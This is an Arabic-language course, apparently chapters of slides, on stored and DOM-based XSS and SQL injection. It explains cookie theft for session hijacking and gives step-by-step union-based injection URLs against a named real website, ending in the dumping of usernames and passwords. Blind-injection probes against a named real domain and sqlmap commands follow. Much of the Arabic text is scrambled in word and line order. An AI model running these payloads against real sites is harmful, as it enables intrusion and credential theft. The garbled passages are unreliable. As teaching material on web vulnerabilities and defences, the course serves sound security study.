XSS Storedكیف تعمل ثغرة 

•Stored XSS كذلك وتسمى  Persistent XSS: المخترق یقوم حینما الثغرة ھذه وتحدث 
 سیرفر مستوى على تخزینھ یتم سكریبت بإرسال فیقوم الموقع مدخلات أحد باستغلال

	،Database  البیانات قاعدة في وغالبا الموقع  كتابة مربع من السكریبت یرسل كأن	
 القیم زینبتخ یسمح الموقع في مكان أي من أو رسالة، شكل على أو الموقع، في التعلیقات

 من القادمة لقیما على تحتوي التي الصفحة لیستعرض زائر یأتي وحینما البیانات، قاعدة في
 من Blog  ةمدون ببرمجة قمت المثال سبیل على .السكریبت ھذا تنفیذ یتم البیانات قاعدة
 قام قاتعلی لك یكتب أن وبدل المخترق دخل مقالاتك إحدى في علیھا، المقالات نشر أجل

 زائر سیأتي حینما وبالتالي البیانات، قاعدة في تخزینھ سیتم السكریبت ھذا سكریبت، بكتابة
.الملغوم قالتعلی ومعھا البیانات قاعدة من التعلیقات تحمیل سیتم مقالتك لیستعرض ما

Ahmed	Hashem	El	Fiky



...)تكملھ(  Stored	XSSكیف تعمل ثغرة 

Ahmed	Hashem	El	Fiky



...)تكملھ(  Stored	XSSكیف تعمل ثغرة 

stored ال حالة في• XSS كالتالي یكون راح الاحداث ترتیب : 
request ال یرسل و  المصاب input ال في exploit ال یدخل المھاجم -١•
input  ال قیمة یدخل بعدھا المدخلات مع یتعامل و requestال یستلم server  ال-٢•

 انھ ھنا الموضوع في الجمیل		،response  ال یرسل بعدین البیانات قاعدة في المصاب
 یعني exploit  ال فیھا یشتغل اللي الصفحة ھي تكون ما الإدخال فیھا اللي الصفحة ممكن
contact  لقیت و موقع دخلت مثلاً  us form ال و  form لما مصاب اكثر او حقل فیھ 

(  التحكم وحةل في یشتغل راح ، الصفحة في عندك یشتغل راح ما الاستغلال البیانات تدخل
 بدون غرةالث استغلال یتم ممكن بالتالي و )للمخرجات صحیحة فلترة فیھ كان ما حال في

social لل الحاجة engineering ال عكس على reflected XSS

Ahmed	Hashem	El	Fiky
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 ما بدون input  ال تعرض راح اللي الصفحة(  المصابة الصفحة یدخل client  ال-٣•
.)صحیح بشكل معھ تتعامل

javascript  ال یشتغل بعدھا و parsing  لھ یسوي و الكود یستلم راح المتصفح -٤•
code المھاجم دخلھ اللي.

 ال عكس على سنة بعد یشتغل و الیوم ادخالھ یتم exploit  ال ممكن ھنا انھ نلاحظ•
reflected،		 ً  عكس على واحد شخص من اكثر استھداف یتم ممكن ھذي حالتنا في ایضا

reflected ال XSS

Ahmed	Hashem	El	Fiky
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contact  فیھ و موقع عندنا• us form  ،		ال یرسل الزائر لما  request واحد یراجع راح 
ً  .الزائر من جت اللي الرسالة الموقع ادارة من  ام و الإدارة لوحة مسار نعرف ما احنا حالیا

 و ودةموج الثغرة كانت لو المعلومات من حلوة كمیة نجمع راح بس ، كافیة معلومات عندنا
XSS ال جمال من شوي معنا یبین راح الجاي المثال في

: كالتالي ھو بنا اتصل لصفحة الكود•

Ahmed	Hashem	El	Fiky

 یھجا كان اذا بیشیك باختصار الكود
POST request الداتا یخزن راح 

ً (  جتھ اللي  كانت اذا یشیك راح طبعا
 )لا او فاضیة الحقول
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Ahmed	Hashem	El	Fiky

 ً  و اتبالثغر ملئ الكود طبعا
 الم المفیدة الاشیاء من ھذا

 اذا لانھ ، موقع تفحص
 معناھا مضروب الكود

 دئمبت الغالب في المبرمج
best  ال یتبع قاعد مو و

practices بیسھل ھذا و 
.علیك الشغل
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 : الآدمن صفحة في المستخدم الكود ھو ھذا	،admin ال صفحة نشوف حلو•

Ahmed	Hashem	El	Fiky
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Ahmed	Hashem	El	Fiky

: و ھذا ھو شكل الصفحة 
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Ahmed	Hashem	El	Fiky

reflected  ال مثل لانھا الكشف طریقة تفاصیل في ادخل راح ما طیب XSS انھا الفرق لكن 
 ال .جھاز من اكثر على یشتغل ممكن قلنا ما مثل exploit  فال بالتالي و البیانات قاعدة في مخزنة

exploit التالي یسوي راح الحین نكتبھ راح اللي : 
HTML  ال لنا یجیب ، التحكم لوحة مسار لنا یجیب code ال داخلھا اللي للصفحة  admin او 

ً  و exploit ال عنده اشتغل اللي الشخص  .موجودة اذا session ال طبعا
html  ال ، نحتاجھ لیش واضح اتوقع التحكم لوحة مسار code كثیرة اشیاء في یفیدنا ممكن ، 

 الخ ... محمیة غیر تكون ممكن لصفحات مسارات او جدیدة لمجلدات مسارات(
session  نسوي عشان session  ال hijacking،		ال و معنا الموضوع ضبط ما حال في لكن 

session  ٍما بطریقة expired الھدف عن جیدة معلومات عندنا تكون راح.
 یعرضھ و requestال یستلم python  بال صغیر script  برمجنا المعلومات نستلم عشان طیب
console ال على
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Ahmed	Hashem	El	Fiky

pythonھذا ھو كود ال 
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Ahmed	Hashem	El	Fiky

: شرح سریع للسكربت 

تركناه فاضي و ھذا  	hostال 	،	importعشان كذا سوینا لھا  		socketراح نستخدم مكتبة ال 
اللي راح نستلم علیھ الاتصال اخترت  	portمتوفر ، ال  	interfaceمعناه اننا راح نستخدم اي 

فاضي عندك مو لازم  	portھذا لانھ غیر مستخدم عندي طبعاً انت تقدر تستخدم اي  	portال
portھذا ال 

اللي عرفناھم في البدایة 	portو ال  	hostاللي سویناھا بال  	socketبعدھا ربطنا ال 
و قلنا لھ اننا ) 8899في حالتي (اللي اخترناه  	portعلى ال  	listeningبعدھا بدینا نسوي 

او عدد  ١اتصالات في نفس الوقت اي عدد اكبر من كذا ارفضھ طبعاً تقدر تخلیھ  ٣نقدر نستقبل 
.اللي استلمناھا و قفلنا الاتصال 	dataبعدھا طبعنا ال . ثاني یعتمد على الحالة اللي عندك
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Ahmed	Hashem	El	Fiky

:المصاب الكود ھذا  	inputحلو حالیاً راح ندخل في ال 
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Ahmed	Hashem	El	Fiky

 : سویناه اللي exploit ال نشرح
post  نرسل راح اننا لھ قلنا و جدید اتصال سوینا request ال اعطیناه و  destination

)python بال برمجناه اللي listener ال ھي اللي(
session  نسوي عشان cookie  ال یرسل منھ طلبنا hijacking الصفحة مسار طلبنا و 

.المصابة الصفحة كود طلبنا و )التحكم لوحة مسار منھا نطلع نقدر( المصابة
: كالتالي یكون راح بالصور exploitال

listener ال نشغل شي اول
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Ahmed	Hashem	El	Fiky

 	exploitبعدھا ندخل ال 
formفي ال 
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Ahmed	Hashem	El	Fiky

لبناه منھ بعدھا مدیر الموقع یدخل یشیك على الرسائل اللي وصلتھ و ولدنا یسرق اللي ط

 	PHPSESSIDو جاب كم ھیدر ثاني و جاب طبعاً ال  user-agentجاب ال  	listenerحظ انھ ال 
اللي كتبناه  	exploitو جاب المسار اللي فیھ الصفحة المصابة و لو تلاحظون نھایة الصفحة بتلقون ال



XSS Dom-basedكیف تعمل ثغرة 
Dom-based  ثغرات ببساطة• xss ثغرات عن مفھموھا في كثیراً  تختلف لا  reflected xss 

Reflected  ثغرات بین و بینھا الفرق لكن و XSS في ذكرنا فكما ,  الطریقة و الأسلوب في 
 دالھ طریق عن PHP  لغة ھي المستخدم من المدخل باستقبال یقوم من فان التقلیدیة xss  ثغرات

$_POSTاو  $_GET خلال من المدخلات قرائھ تستطیع التى  form من او ما صفحة في 
 دوال ھي المستخدم من المدخل بأخذ یقوم من فأن Dom-Based  حالھ في لكن .  الرابط خلال

ً  المدخل بطباعة یقوم من و javascript  الـ  إلى الحاجة دون javascript  الـ دوال ھي ایضا
web حتى او أخرى برمجة لغات اي server الملفات تشغیل و لترجمة .

 ان و sources  الـ دوال ھي المستخدم من المدخل بأخذ تقوم التي دوال على نطلق سوف•
 بعض بشرح نبدأ الأن و sinksھي html  في إظھاره و المدخل ھذا بطباعة تقوم التي الدوال
XSS ثغرات إلى ذلك بعد تؤدي ان یمكن كیف نرى و sinks و sources دوال

Ahmed	Hashem	El	Fiky
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؟	Sourcesما ھي دوال •
و التي من خلالھا یمكن ان تقوم بإرسال مدخل  	javascriptھي دوال في لغة  	sourcesدوال الـ•

ة او إلى الصفحة في ھذه الحالة غالبا یكون المدخل من المستخدم مرسل من خلال رابط الصفح
url	  مثلا لدینا الرابط التالي:

https://site.com/home/file.html?name=ahmed#Securtiy4arabs
حة فمن الممكن من خلال ھذة الدوال ان تقوم بقراءة رابط الصفحة بالكامل او فقط مسار الصف•

home/file.html/	  او قیمة الاسم المدخلahmed	  او الھاش تاجsecurity4arabs	  كأنك
ف جزء ھو مسار الصفحة و اسم مل, بالضبط تقوم عمل تحلیل الرابط و تقسیمھ إلى إجزاء 

المرسلة إلى الصفحة 	parametersالصفحة و جزء ھي المتغیرات او 
:ببساطة عن طریق الدوال التالیة  	javascriptو یمكن عمل ذلك من خلال •

Ahmed	Hashem	El	Fiky
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دوال تقوم بقرائھ رابط الصفحة بالكامل•
•document.URL
•document.documentURI
•document.URLUnencoded
•document.baseURI
•location
•location.href
:مثال على ذلك اقوم بكتابة صفحة تحتوى على كود الجافا سكریبت التالي •

Ahmed	Hashem	El	Fiky
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:و بعد ذلك اقوم بتشغیل الصفحة و تكون النتیجة كالتالي •

Ahmed	Hashem	El	Fiky
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یلھا یحتوى على رابط الصفحة التي قمت بتشغ 	box	msgنلاحظ ان الصفحة قامت باظھار •
و یكون نفس الحال مع باقي الدوال التي قمنا بذكرھا  	,	htmlكما قمنا بكتابة في ملف 

الصفحة  الأن نتطرق إلى دالھ اخرى تقوم بقرائھ اسم, سوف تظھر رابط الصفحة بالكامل , 
domainفقط دون المدخلات إلیھا او اسم 

دوال تقوم بقرائھ اسم الصفحة و مسارھا•
•location.pathname
باسم  	location.hrefمع استخدام نفس كود الصفحة السابق و استبدال فقط اسم الدالة •

: الدالة یصبح لدینا النتیجة التالیة

Ahmed	Hashem	El	Fiky
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Ahmed	Hashem	El	Fiky

ئھ جزء من الفكرة بسیطة ألیست كذلك ؟ الأن نستكمل ذكر بعض الدوال الأخرى و التي تستطیع قرا
.رابط الصفحة كالدوال السابقة 
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فقط المرسلة إلى الصفحة 	parametersدوال تقوم بقرائھ المدخلات او •
•location.search
ثلامثال على ذلك قمت بتشغیل الصفحة بھذة الدالة و ارسلت الیھا بعض المدخلات م•

https://site.com/page.html?name=ahmed
:تكون النتیجة كالتالي •

Ahmed	Hashem	El	Fiky
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 یركث تستخدم دالة بذكر نقوم اخیرا و•
 ـال بقرائة تقوم دالھ ھي و مواقع في

hashtag الرابط في #
HashTag بقرائھ تقوم دوال•
•location.hash
 ھذةب اخرى مرة الصفحة بتشغیل نقوم•

النتیجة نرى و الدالة

Ahmed	Hashem	El	Fiky
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في نھایة الرابط و قامت الصفحة  	Aboul-Ela	Ahmed#قمنا فقط بفتح رابط الصفحة مع اضافة •
الأن ننطلق إلى الدوال  	sourcesبأظھار ھذا الجزء فقط من الرابط الأن تعرفنا الى جمیع دوال 

في مخرج الصفحة 	sourcesالتي تستطیع ان تظھر ھذة 
؟	Sinksما ھي دوال •
ن ببساطة كما ذكرنا ھي المسؤلة عن إظھار و كتابة القیمة المرسلة من خلال دالھ م 	sinksدوال •

في لغات البرمجة 	printبالظبط كدالھ  	sourcesدوال 
لیست صعبة و سوف اقوم بذكر اھمھا 	sinksدوال الـ•
doucment.writelnو  	document.writeدالھ •
HTMLفي لغات البرمجة فتقوم مباشرة بطباعة الكلام داخل كود  	printھي دالھ المكافئة لدالة •
التالي 	HTMLمثال على ذلك صفحة تحتوى على كود •

Ahmed	Hashem	El	Fiky
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ستكون النتیجة لدینا كما في الصورة•

Ahmed	Hashem	El	Fiky
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anyElement.innerHTMLدالھ •
معین في الصفحة	Tagھذه الدالة ببساطة تقوم بقراءة او كتابة كود بداخل •
 	<</body	body>>سوف تقوم بقرائة محتوى  	document.body.innerHTMLمثلا •

بالكامل
سوف یقوم بعمل استبدال كامل  	’‘ahmed	=	document.body.innerHTMLو اذا قمت بعمل •

Ahmedو كتابة فیھ الكلمة 	bodyلمحتوى تاج 
مثال على ذلك كود الصفحة التالي•

Ahmed	Hashem	El	Fiky
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بتغیر محتوى الصفحة الأصلي 	JavaScriptعند تشغیل الصفحة ستقوم الـ•
.comarabs.4securitywwwبـالكلمة  	tag	body	in	text	a	Justو المكتوب فیھ •

Ahmed	Hashem	El	Fiky
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 	sinks	htmlالأن تعرفنا إلى اھم دوال  tag	body	in	text	a	justكما نلاحظ لم تظھر الجملة •
التي تستطیع ان ترسل مدخل  	Sourcesو التي تستطیع كتابة كلام في الصفحة و تعرفنا الى دوال 

إلى الصفحة من خلال الرابط
من خلال ھذة  	xss	based	domالأن نتطرق إلى الخطوة الأخیرة و ھي كیفیة حدوث ثغرات •

الدوال
أخذ تحدث عندما یرسل المستخدم للصفحة مدخل و تقوم الصفحة ب 	XSSكما ذكرنا في السابق ان •

المدخل و عرضھ مباشرة داخل الصفحة
نا كیف و نحن الأن تعرفنا كیف من الممكن ان تقوم بقراءة جزء من رابط الصفحة كمدخل و تعرف•

بداخل الصفحة 	javascriptیمكن ان نقوم بكتابة كلام من خلال 
نرى في الجزء التالي كیف  	,	XSSاذاً الأن یتحقق لدنیا طرفي المعادلة التي تقوم بإحداث ثغرات •

Javascriptفقط من خلال  	XSSیمكن ان تقوم بتنفیذ ثغرة 

Ahmed	Hashem	El	Fiky
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و نرى  لن اسرد المزید من الكلام النظري و دعونا ننتقل مباشرة إلى كود الصفحة التالي•
ماذا تفعل

Ahmed	Hashem	El	Fiky
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الأن فقط بالنظر لكود الصفحة یمكن فھم ماذا تفعل•
الذي یأتي في نھایة # و ھو الھاش تاج  	location.hashببساطة الصفحة تقوم بكتابة •

<</body	body>>رابط الصفحة بداخل 
ذا الكلام لنرى اذا كان ھ# نفتح الصفحة الأن من خلال المتصفح و نرسل الیھا اي كلام بعد •

صحیح ام لا

Ahmed	Hashem	El	Fiky



...)تكملة( XSS Dom-basedكیف تعمل ثغرة 
سوف تتغیر النتیجة 	Testكما كتبناه و عند تغیر كلمة 	tag	hashجمیل لقد قامت الصفحة بطباعة الـ•

في الصفحة
؟	javascriptاو  	htmlمصحوبة باكواد 	testطیب الأن ماذا سیحدث اذا ارسلنا كلمھ •
:كالتالي  	Payload	XSSمثل سوف ارسل للصفحة •
دعونا نرى النتیجة•

Ahmed	Hashem	El	Fiky
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لـ  	alertبوضوح و تم تشغیل كود 	xssھل لاحظت ما حدث ؟ الأن اتضحت لدنیا ثغرة •
Xss	Dom-Basedھذا كان فقط مثال بسیط یوضح لدینا فكرة عمل ثغرات  1337

؟!مواقع قد یسألني احد الأن ھل تعتقد ان مثل ھذة الثغرات قد تكون موجودة في كثیر من ال•
ظھرت في اكبر المواقع العالمیة مثل  Xss	Based	Domالأجابة بالطبع نعم فثغرات •

google	,	microsoft	,	yahoo	,	Adobe	 و غیرھم الكثیر
كة و ھذا مثال على احدى الثغرات الذي قمت باكتشافھا بنفسي و ابلغت عنھا في شر•

Redhat
redhat.comو الثغرة كانت في صفحة التسجیل الرئیسیة لإنشاء الحسابات لموقع •

Ahmed	Hashem	El	Fiky
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Ahmed	Hashem	El	Fiky
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ھي عملیة لیست سھلھ لأنھا تحتاج إلى فحص و  	Xss	Dom-Basedإكتشاف ثغرات •
 	Javascriptو اغلب المواقع الأن تستخدم الكثیر من اكواد  	Javascriptتدقیق في اكواد 

و  قد یصل الكود فیھا إلى الاف من الأسطر و سیصبح من الصعب ان تقوم بعمل ذلك
فحص ھذة الأكواد بشكل یدوي

لكن اصبح ھناك ادوات تساعد على اكتشاف مثل ھذة الثغرات و من اشھر و اقوى ھذة •
و لكنھا لیست مجانیة للأسف والأداة ھي عبارة عن متصف 	Dominitorالأدوات ھي اداة 

 	sinksفي الصفحات و یمكنھ اكتشاف  	Domمعدل یستطیع بتبع الـ  	firefoxح 
بمجرد زیارة الصفحة من خلال المتصفح	sourcesو 

 	Domرة والیكم الفیدیو التالي الذي یوضح فیھ كیف استطاع مبرمج الأداة اكتشاف ثغ•
Based	Xss	  فيGoogle	Plus	Button
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...)تكملة( XSS Dom-basedكیف تعمل ثغرة 

•s96t=gsM&4SmgnMVZv=watch?com/youtube.www.https://
•LNkg5ly21fhv=watch?com/youtube.www.https:// 
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	XSSاضرار ثغرة

رمجھ على استغلال المدخلات التي یتم ادخالھا المھاجم وتكون بالغالب مب 	XSSتعتمد ثغرة •
وقع حیث یتمكن المھاجم من سرقة لأنتحال شخصیتك في الم 	htmlأو  	Javascriptبـ لغة 

یتمكن  المستھدف أو تحویلك الى صفحة اخرى مشابھھ للموقع المستھدف كـ صفحة مزورة
بیثھ كـ من خلالھا سرقة حسابات المستخدمین أو تحویل المستخدمین لتحمیل برمجیات خ

برمجیات تجسسیھ او فدیة
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	XSSالحمایة من  ثغرة

ھم المستخدم والمبرمجمن الثغره المتضررین •

	NoScriptلابد على المستخدم ان یتسخدم اخر اصدار من المتصفح وایضا استخدام اضافھ •
وعدم الدخول على الروابط القادمھ من طرف مجھول

غلال لابد على المبرمج التاكد من صحھ مدخلاتھ وخلوھا من الاخطاء التي تمكن المھاجم من است•
ویقوم بفلتره مدخلاتھ 	XSSثغره 
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تم بحمد V انتھاء الفصل الثانى
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الفصل الثالث 
SQLIثغرة ال 

Ahmed	Hashem	El	Fiky

المؤلف
أحمد ھاشم الفقي /م.د

المعلومات و التحول الرقمياستشارى أمن 
comoutlook.ElFiky@Hashem.Ahmed.



محتویات ھذا الفصل

SQLIما ھي ثغرة •
SQLIكیف تعمل ثغرة •
SQLIانواع ثغرة •
اضرار الثغرة•
الثغرةالحمایة من •
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SQLIما ھي ثغرة 

Sql  ثغرات• injection إستعلام على ما متغیر إدخال حال في تحدث ثغرات وھي  
query البیانات قواعد للغة  mysql ه مثل لإستغلال مخصصھ إستعلامات توجیھ ثم ومن

 بشكل البیانات قاعدة من المعلومات إستخراج وھو النھائي الھدف على لنحصل الثغرات ذه
.شرعي غیر  و كامل

•sql injection جومھ ببساطة ھو و الأنترنیت مواقع على تواجدا الثغرات أكثر بین من 
 التي اتاالبیان قاعدة من البیانات استخراج یتم حتى الویب بتطبیق sql  كود حقن فیھ یتم

 یتم نا قبل إدخالھ یتم ما معاینة عدم في خطأ على تعتمد والثغرة ، الموقع علیھا یعتمد
.الثغرة ھذه باستعمال authentication نافذة تجاوز یمكنك كما البیانات لقاعدة تمریره
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SQLIكیف تعمل ثغرة 

:كیف تعمل تطبیقات الویب •
درھم عن طریق  100على سبیل المثال نرید أن نقوم بإظھار كل المنتجات بثمن أقل من •

:الرابط 
http://www.victim.com/products.php?val=100

Databaseالإتصال بقاعدة البیانات أو •
•$conn	=	mysql_connect(“localhost”,“username”,“password”);
:عن طریق المعلومات التي تم إدخالھا وھي باللون الاحمر 	SQLتكوین أمر •
•$query	=	“SELECT	� FROM	Products	WHERE	Price	<	‘$_GET[“val”]’	”.
•“ORDER	BY	ProductDescription”;
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...)تكملھ( SQLIكیف تعمل ثغرة 
:بقاعدة البیانات  	queryتنفیذ •

$result	=	mysql_query($query);
set	recordالقیام بعملیة التكرار داخل كل السجلات •
•while($row	=	mysql_fetch_array($result,MYSQL_ASSOC))
•{
:إظھار النتائج بالمتصفح •
•echo	“Description	:	{$row[‘ProductDescription’]}	<br>”.
•“Product	ID	:	{$row[‘ProductID’]}	<br>”.
•“Price	:	{$row[‘Price’]}	<br><br>”;
•}
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...)تكملھ( SQLIكیف تعمل ثغرة 

:التي قمنا بإدراجھا 	phpالذي یتم تكوینھ عن طریق مراحل  sqlوھذا شكل الكود •
•SELECT	�
•FROM	Products
•WHERE	Price	<‘100.00’
•ORDER	BY	ProductDescription;
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SQLIأنواع ثغرة 

–:	ویوجد للثغرة انواع  •
•error	based	sql	injection
•blind	sql	injection
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...)تكملھ( SQLIأنواع ثغرة 
•error	based	sql	injection
لذلك المرجوا تتبع المراحل  	Injection	Sqlسنقوم بتطبیق عملي على موقع مصاب بثغرة •

.و فھم كل مرحلة و الغایة منھا 
الرابط الذي سنقوم بتجربة استغلال الثغرة علیھ ھو •

13Id=php?default.sections/ca/woodrock.www.http://
-التأكد من وجود الثغرة- 1المرحلة •
من معرفة  للرابط حتى نتمكن'  سنقوم بالتأكد من وجود الثغرة بالموقع عن طریق إضافة  •

سالة ھل الموقع یقوم بفلترة ما یتم إدخالھ أم لا ، و وجود الثغرة یكون عن طریق ظھور ر
:مشابھة ل 
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...)تكملھ( SQLIأنواع ثغرة 

 	injection	sqlللرابط  النتیجة كانت كالتالي و تؤكد وجود ثغرة ' بعد أن قمت بإظافة الرمز •
:بالموقع 
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...)تكملھ( SQLIأنواع ثغرة 

-	columnsتحدید عدد  - 2المرحلة •
و رقم العمود و نستمر في تغییر رقم العمود حتى یظھر 	by	orderفي ھذه المرحلة سنقوم بإضافة •

:الخطأ ، بھذه الطریقة نحدد عدد الأعمدة ، و الرابط یصبح كالتالي 
 --1	by	order	http://www.woodrock.ca/sections/default.php?Id=13)بدون اخطاء(
--2	by	order	http://www.woodrock.ca/sections/default.php?Id=13)بدون اخطاء(
--3	by	order	http://www.woodrock.ca/sections/default.php?Id=13)بدون اخطاء(

--4	by	order	http://www.woodrock.ca/sections/default.php?Id=13)خطأ(
.أعمدة   3و الإستنتاج الذي نخلص إلیھ أن عدد الأعمدة ھو 
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...)تكملھ( SQLIأنواع ثغرة 
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...)تكملھ( SQLIأنواع ثغرة 
-تحدید الأعمدة المصابة- 3المرحلة •
المصابة بالثغرة و التي  	columnsھو تحدید الأعمدة سیكون الھدف في ھذه المرحلة •

تعمل الكود  سنستعملھا في استخراج و إظھار البیانات من قاعدة البیانات و لھذا الغرض سنس
Union	  لقیمة المتغییر  -و بإضافة رمزId	  لیصبح الرابط كالتالي:

•http://www.woodrock.ca/sections/default.php?Id=-13	union	all	select	1,2,3--
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...)تكملھ( SQLIأنواع ثغرة 

.و ھما اللذان سیتم استعمالھما لاستخراج المعلومات  3و  2النتیجة عمودین مصابین •
 -استخراج بعض المعلومات- 4المرحلة •
و أھمھا ھي إصدارقاعدة  2سنقوم باستخراج المعلومات التالیة وإظھارھا على العمود •

:البیانات 
user()	 إظھار المستخدم

http://www.woodrock.ca/sections/default.php?Id=-13	union	all	select	
1,user(),3--
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...)تكملھ( SQLIأنواع ثغرة 
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...)تكملھ( SQLIأنواع ثغرة 
version()	إصدار قاعدة البیانات

http://www.woodrock.ca/sections/default.php?Id=-13	union	all	select	
1,version(),3–
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...)تكملھ( SQLIأنواع ثغرة 
database()	 إسم قاعدة البیانات

http://www.woodrock.ca/sections/default.php?Id=-13	union	all	select	
1,database(),3—
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...)تكملھ( SQLIأنواع ثغرة 

 5، حیث أن كل الإصدارت أقل من  5طبعا من حسن الحظ أن إصدار قاعدة البیانات ھو •
و بالتالي سنكون ملزمین على تخمین إسم  	information_schemaلا تحتوي على 

.الجداول 
-tablesاستخراج أسماء الجداول - 5المرحلة •
 الان سنقوم باستخراج مجموع الجداول والبحث عن الأھم و ھو غالبا الذي یحمل الأدمین•

:وبیاناتھ الشخصیة 
http://www.woodrock.ca/sections/default.php?Id=-13	union	all	select	
1,group_concat(table_name),3	from	information_schema.tables	where	

table_schema=database()--
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...)تكملھ( SQLIأنواع ثغرة 
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...)تكملھ( SQLIأنواع ثغرة 

.	poll_userبعد القیام باستخراج الجداول سنقوم باختیار جدول •
-استخراج اعمدة الجدول- 6المرحلة •
poll_userفمثلا 	Hexبعد أن قمنا بتحدید الجدول یجب أن نقوم بتحویلھ إلى صیغة •

0x706f6c6c5f75736572سیصبح 

http://www.woodrock.ca/sections/default.php?Id=-13	union	all	select	
1,group_concat(column_name),3	from	information_schema.columns	

where	table_name=0x706f6c6c5f75736572--
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...)تكملھ( SQLIأنواع ثغرة 
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...)تكملھ( SQLIأنواع ثغرة 

Ahmed	Hashem	El	Fiky

 -استخراج المعلومات- 7المرحلة •
	0x3aب  	userو الباسوورد و 	Idأخیرا نأتي لاستخراج المعلومات وسنقوم بالفصل بین •

قیمة بالھیكس
http://www.woodrock.ca/sections/default.php?Id=-13	union	all	select	
1,concat(user_id,0x3a,username,0x3a,userpass),3	from	poll_user--



...)تكملھ( SQLIأنواع ثغرة 
• ً Whiteطریقة في لنبدء ..   حسنا Box المكتوبھ الثغرة أكودا بشرح نقوم سوف والتي 

Mysql لغة على بالإعتمادPhp بلغة

Ahmed	Hashem	El	Fiky



...)تكملھ( SQLIأنواع ثغرة 

–:	نلاحظ في الصورة السابقھ ولنشرح المكونات •
.والذي یتصل بدورة بقواعد البیانات	config.phpالسكربت یعمل إدراج لملف •
والتي تتمثل  	POSTبالقیمھ المدخلھ من نوع  	nameنلاحظ تعریف المتغیر  5السطر رقم •

nameبالحقل 
والذي یحاول إختیار جمیع الحقول  query	mysqlنلاحظ عمل إستعلام  7بالسطر رقم •

.ومطابقتھا مع المتغیر 	nameالموجوده في الجدول 
كوسیلة  	POSTوھي قیمھ  	formنشاھد عنوان ومعلومات النموذج  14بالسطر رقم •

index.phpلإرسال البیانات ومعالجتھا بملف 
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...)تكملھ( SQLIأنواع ثغرة 

 یحدد ولم یفلتر لم المتغیر أن نشاھد ,  حدوثھا كیفیة ومعرفة الثغرة تفاصیل لشرح الأن لنأتي•
 یمكن مام الإستعلام إلى والتعابیر الأوامر جمیع بإدخال یسمع لذلك المبرمج قبل من ھو ما

sqlثغرة عنھ ینتج خطأ لحدوث یؤدي كود حقن injection جمیع إستخراج إلى یؤدي 
 ثغرةال وإكتشفنا الكود فسرنا نكون ھكذا .البیانات قواعد خادم في الموجوده المعلومات
.فلترتھا عدم من والتحقق المدخلات قرأة خلال من سھولھ بكل بالسكربت الموجوده

 على ظرةن الأن لنلقي ,الثغرة إستغلال محاولة ثم ومن الصفحھ إستكشاف إلى لنأتي الأن•
-: الصورة ھذه خلال من الفورم
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...)تكملھ( SQLIأنواع ثغرة 

لنحاول إدخال أي قیمھ لنلاحظ ان الفورم لم یحرك ساكن , نلاحظ وجود فورم بسیط •
ومن ثم ملاحظھ ما سوف یحدث  	quote	single) ‘(ممتاز لنحاول الأن إدخال علامھ ! 

-:من خلال ھذه الصورة 

Ahmed	Hashem	El	Fiky

 رأینا الأن أن ھنالك خطأ حدث في قواعد البیانات وھذا ما أظھره الخطأ وبھذا نكون! ممتاز 
.موجوده في السكربت 	injection	Sqlقد تأكدنا من وجود ثغرة 



...)تكملھ( SQLIأنواع ثغرة 

ولنطبق ما  	Sqlmapلنأتي الأن لإستغلال الثغرة وإستخراج المعلومات من خلال برنامج •
-:في الصورة وسوف أشرحھ بالتفصیل 

Ahmed	Hashem	El	Fiky

ومن ثم حددنا الھدف من خلال 	sqlmap.py./ لقد قمنا بتشغل البرنامج من خلال الأمر 
لإستكشاف جمیع الحقول الموجوده في الصفحھ  	formsومن ثم حددنا الخیار  	u-الأمر 

.لإستخراج قواعد البیانات في حال حدوث خطأ	dbsوأخیراً الامر 



...)تكملھ( SQLIأنواع ثغرة 

ممتاز الأن لنرى نتیجھ تطبیق الأمر•
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...)تكملھ( SQLIأنواع ثغرة 

 إلا ؤديی مما والصفوف الجداول ونوع إسم تخمین في المشاكل تكون الثاني النوع في اما•
.)بالنھایة تتم ولكنھا( العملیھ تأخر

ً  بالذكر الجدیر ومن• php  لمث البرمجیة اللغات من الكثیر تستھدف الثغرات ھذه أن أیضا ,
java , asp , aspx.
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...)تكملھ( SQLIأنواع ثغرة 

blind ثغرة• sql injection موقع في hootsuite
Blind یعني ماذا : اولاً • SQL inejction؟
 یتم وانما للحقن مصاب یكون لا الموقع فان الحالة ھذه في لكن SQL  حقن أنواع من نوع ھو•

 مالقی خلال من الجواب ذلك بعد ویحدد المدخلة الاوامر خطأ او صحة حول البیانات قاعدة سؤال
 فقط وانما المباشر للحقن مصاب غیر الویب تطبیق یكون عندما النوع ھذا ویستخدم المرجعة

. العامة الخطأ رسائل اظھار
• ً . النتیجة الى وتوصل البحث : ثانیا
 لخارجیةا والراوابط والمتغیرات النصوص في البحث بدأت ,  الموقع في لحساب تسجیلي بعد•

. المستعملة والمكتبات
id  حسب عرضھا ویعید واحد ملف طریق عن اظھاراھا یتم الاعضاء صور ان لاحظت وحینھا•

. حساب كل
ولصقھ . الرابط بنسخ قمت عندھا•

Ahmed	Hashem	El	Fiky



...)تكملھ( SQLIأنواع ثغرة 

:كان الرابط •
•https://learn.hootsuite.com/view_profile_image.php?id=8807
!وبعد الذھاب للصفحة ظھرت صورة احد الاعضاء طبیعیاً •
 لنقوم بعمل الخطوات السحریة لكل الثغرات وھي 	idالمتغیر الموجود في ھذه الصفحة ھو •

)‘(
•https://learn.hootsuite.com/view_profile_image.php?id=8807’1
لكن لا یوجد  	SQLھذه اشارة على انھ ممكن یكون مصاب ب !!! الصفحة بیضاء تماماً •

خطأ  ؟ لذلك قررت اختبر صحة العبارات لاعرف ان كان مصاباً أو لا
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...)تكملھ( SQLIأنواع ثغرة 

أختبار صحة العبارات•
•https://learn.hootsuite.com/view_profile_image.php?id=8807	and	

1=1
وھو امر صحیح  1=1وھي عبارة شرطیة معناھا عندما  1=1وضعت في الرابط عبارة •

!بالنسبة لقاعدة البیانات لذلك الصفحة ظھرت من دون اي خطأ 
.بعدھا وضعت عبارة خاطئة •
•https://learn.hootsuite.com/view_profile_image.php?id=8807	and	

1=2
 !!!وھي عبارة خاطئة وبعدھا عملت ذھاب لكن الصفحة بیضاء تماماً  2=1وضعت عبارة •

inejction	SQL	Blindوبھذا تاكدت ان الموقع مصاب بثغرة 
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...)تكملھ( SQLIأنواع ثغرة 
ا لم الان مثل ھذا النوع من الثغرات لا یمكنك عملھ یدویاً وسیكون الوضع صعب خصوص•

.في سحب القاعدة  	SQLMAPاكن امكل خبرة كافیة في ذلك الوقت ایضاً لذلك استعنت ب
لسحب القاعدة وحصلت على 	SQLMAPلذلك كتبت الامر الخاص ب•
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...)تكملھ( SQLIأنواع ثغرة 

